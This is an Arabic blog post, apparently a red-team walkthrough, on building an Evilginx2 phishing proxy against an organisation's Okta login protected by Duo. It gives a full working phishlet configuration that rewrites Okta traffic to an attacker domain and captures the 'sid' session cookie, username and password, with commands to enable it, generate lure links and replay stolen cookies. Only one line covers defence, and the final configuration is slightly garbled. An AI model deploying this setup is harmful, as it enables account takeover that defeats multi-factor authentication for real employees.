مرحبا بالجميع!
هناك أوقات تحتاج فيها للتسجيل في شخص ما. يحدث ذلك عندما يتم تكوين المنظمة المستهدفة بعامل ثانٍ للمصادقة - sms ، Google Authentator ، Duo. ماذا تفعل في مثل هذه الحالات؟ استئجار جوبنيك؟ لقطع الهواتف في الموظفين؟ لا! اتضح أن المتسللين الماكرين كتبوا برامج يمكنها المساعدة في هذا الموقف الصعب.
Evilginx2 عبارة عن إطار للتصيد الاحتيالي يعمل كوكيل بين الضحية والموقع ، الذي نريد تلقي الحسابات منه. في السابق ، استخدم nginx المخصص ، ولكن الآن تمت إعادة كتابته بالكامل على Go ، وهو يتضمن خوادم HTTP و DNS صغيرة ، مما يبسط التثبيت والنشر بشكل كبير.
كيف يعمل؟ وصف مؤلف البرنامج بالتفصيل على موقعه على الإنترنت ، يمكن العثور على تفاصيل التثبيت والتكوين على صفحة مشروع github . لماذا من الممكن التحايل على العامل الثاني؟ الحيلة هي أننا لا نتدخل في عملية إدخال الرمز من SMS / كلمة المرور المؤقتة / الدفع من DUO. نحن ننتظر بهدوء أن يكمل المستخدم بنجاح جميع خطوات المصادقة ، ويلتقط ملف تعريف الارتباط الخاص به ، ويستخدمه بالفعل لتسجيل الدخول. على طول الطريق ، فقط في حال جمعنا اسم المستخدم وكلمة المرور الخاصة به. في نفس المذكرة ، سأتحدث عن تجربتي والمزالق التي واجهتها.
التحدي
لذا ، نحتاج إلى تسجيل مكتب يستخدم بنشاط Okta كاشتراك واحد. كعامل ثانٍ ، يتم استخدام Duo - وهو حل تسمح لك الشريحة الخاصة به في عميل الهاتف المحمول بتأكيد العامل الثاني من خلال إشعارات الدفع العادية بدلاً من إدخال الرموز المكونة من 35 رقمًا (مرحبًا Google Authenticator). لنبدأ.
الخطوة الأولى - تسجيل مجال التصيد
في لوحة الموفر ، حدد عنوان الخادم الذي سيتم وضع التصيد عليه. نقوم أيضًا بتسجيل نطاق فرعي من النموذج okta.< >.com
.

الخطوة الثانية - تكوين Evilginx
نبدأ Evilginx ومن خلال الأمر config
ندخل الإعدادات الضرورية. نشير إلى المجال الرئيسي (وليس النطاق الفرعي) وعنوان IP الخاص به.
config domain < >.com config ip 10.0.0.1
ونتيجة لذلك ، يبدو التكوين كما يلي:

إن معلمة redirect_url
مثيرة للاهتمام هنا - فهي تشير إلى مكان إعادة توجيه الطلب عندما وصل العميل إلى جذر نطاقنا. لماذا يتم ذلك؟ إذا أعطيت صفحة تصيد احتيالي من الجذر ، فسيتم حساب المجال بسرعة كبيرة وإضافته إلى قائمة المواقع الخطرة ، وستقسم المتصفحات بالتهديد ، ولن يصل المستخدمون إلينا أبدًا. لذلك ، سنقوم بإعطائها من خلال رابط فريد ، وسوف يعيد توجيه الجذر إلى الأغنية Never Gonna Give You Up.
الخطوة الثالثة - إعداد صفحة تصيد
هنا يبدأ المرح. نظرًا لأنه في الواقع ، على خادمنا لا نستضيف أي محتوى على الإطلاق ، ولكن فقط الطلبات التي تتم عبر وكيل ، نحن بحاجة إلى "إخبار" Evilginx بالبيانات التي نريد تلقيها بالضبط. هذه "القصة" التي نكتبها بتنسيق خاص. وثائقه متاحة على صفحة ويكي المشروع. تسمى هذه الأوصاف phishlets. بالنسبة لبعض الخدمات الشعبية - facebook، linksin، amazon ، فهي مكتوبة بالفعل ومضمنة في التوزيع. لقد كنا أقل حظًا ، من خارج منطقة الجزاء ، لم يتم دعم Okta ، لكن الأشخاص الطيبين كتبوا نسخة مصغرة للنسخة القديمة . نأخذ ملف ونبدأ اللحيم.
املأ الوصف وحدد اسم phishlet والمؤلفين والنسخة المطلوبة من Evilginx.
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'
نشير إلى المجال الذي سنصطاد. في حالتنا ، يتم استخدام مجال النموذج < >.okta.com
.
proxy_hosts: - {phish_sub: '', orig_sub: '< >', domain: 'okta.com', session: true, is_landing: true}
تشير معلمة session
إلى أن هذا النطاق هو الذي يعطي ملفات تعريف الارتباط التي نحتاجها ويتم نقل بيانات الاعتماد هناك ، ويعني is_landing
أنه سيتم استخدام هذا المضيف لإنشاء عناوين URL للتصيد الاحتيالي.
والخطوة المهمة التالية هي تحديد جميع الطلبات إلى المجال الهدف بحيث يعيد وكلاءها كتابتها بنجاح إلى مجال التصيد. إذا لم يتم ذلك ، فلن يرسل المستخدم البيانات إلينا ، ولكن فورًا إلى النطاق الأصلي ، ولن نلتقط أي حسابات. أعد كتابة الطلبات التي تشارك مباشرة في عملية تسجيل دخول المستخدم إلى الموقع.
لفهم ما هو مطلوب للحصول على مصادقة ناجحة ، تحتاج إلى دراسة هذه العملية بعناية. مسلحًا بحسابات التجشؤ والاختبار ، نبدأ في البحث عن كيفية نقل كلمة المرور وعن طريق ملفات تعريف الارتباط التي يحدد التطبيق المستخدم المصرح له. نحن نبحث أيضًا عن إجابات من الخادم تحتوي على روابط إلى المجال الأصلي.
نجد طلبًا يتم فيه إرسال تسجيل الدخول وكلمة المرور. نرى أنه تم إرساله إلى المجال الأصلي ، لكننا بحاجة إلى تركنا.

هنا يمكنك أن ترى كيف يعرض المجال الأصلي الروابط داخل جافا سكريبت ، يجب إعادة كتابتها.

بعد جمع هذا الطلب وزوجين آخرين ، نحصل على الإعدادات التالية:
sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
تُستخدم الكلمة الرئيسية {hostname}
فقط لاستبدال المجال الأصلي بمجال تصيد. اقرأ المزيد حول بناء جملة هذا القسم هنا .
تذكر ، نحن بحاجة إلى ملفات تعريف الارتباط التي سنقوم بتسجيل الدخول إلى الموقع. من خلال التجربة والخطأ ، اكتشفنا اسم ملف تعريف الارتباط - sid
، sid
إلى الإعدادات:
auth_tokens: - domain: '< >.okta.com' keys: ['sid']
إن اسم المستخدم وكلمة المرور الخاصة بالمستخدم مفيدة لنا أيضًا ، فقد وجدنا بالفعل الطلب الذي تم إرساله إليه. كما ترى في الطلب ، يتم تمرير معلمات username
password
التي نحتاجها إلى json ، نضيف:
credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'
حتى Evilginx ستكون قادرة على عزلها عن الاستعلامات وحفظها بشكل صحيح.
لم يبق سوى القليل. حدد عنوان URL لصفحة تسجيل الدخول على المجال الهدف.
landing_path: - '/login/login.htm'
سنوضح عنوان URL الذي نفهم من خلاله أن المستخدم قد قام بتسجيل الدخول بنجاح.
auth_urls: - 'app/UserHome'
هذا كل شيء! التكوين بالكامل:
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '< >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'
احفظه كـ okta.yaml
في /usr/share/evilginx/phishlets
.
الخطوة الرابعة - تمكين التصيد الجديد لدينا
قم بتشغيل evilginx وكتابة أمر
phishlets hostname okta okta.< >.com
قم بتشغيل الفشل الصغير.
phishlets enable okta
يتم إنشاء شهادة من LetsEncrypt تلقائيًا لها.
تحقق من الإعدادات:

نشير إلى المكان الذي سنعيد توجيه المستخدم إليه بعد التفويض الناجح
phishlets get-url okta https://< >.okta.com/
سيعطي التطبيق رابطًا يجب إرساله إلى المستخدمين ، من النموذج https://< >.com/login/login.htm?rb=9ffe&ec=< >
الخطوة 4 - انتظار الصيد
نرسل رسائل (تقنيات البريد - مادة لمقال منفصل) وننتظر.
يتبع المستخدم الضعيف والمثقوب الارتباط ويقوم بتسجيل الدخول. نراه هكذا:

تضيف جميع الحسابات التي تم ضبطها ما يصل إلى الجلسات. حدد الملف المطلوب وانسخ ملفات تعريف الارتباط منه:

افتح المتصفح ، واستبدل ملفات تعريف الارتباط والفويلا - نحن في الداخل:

خاتمة
يبسط Evilginx إلى حد كبير إنشاء صفحات التصيد ، خاصة بالنسبة إلى 2FA. بالإضافة إلى ذلك ، يتم تخزين هذه الصفحات ومشاركتها بسهولة مع الأصدقاء. طرق الحماية - استخدام أجهزة U2F القياسية ، والانتقال إلى طرق المصادقة الجديدة.
ما رأيك في النهج الموصوف؟ كيف تجمع الحسابات؟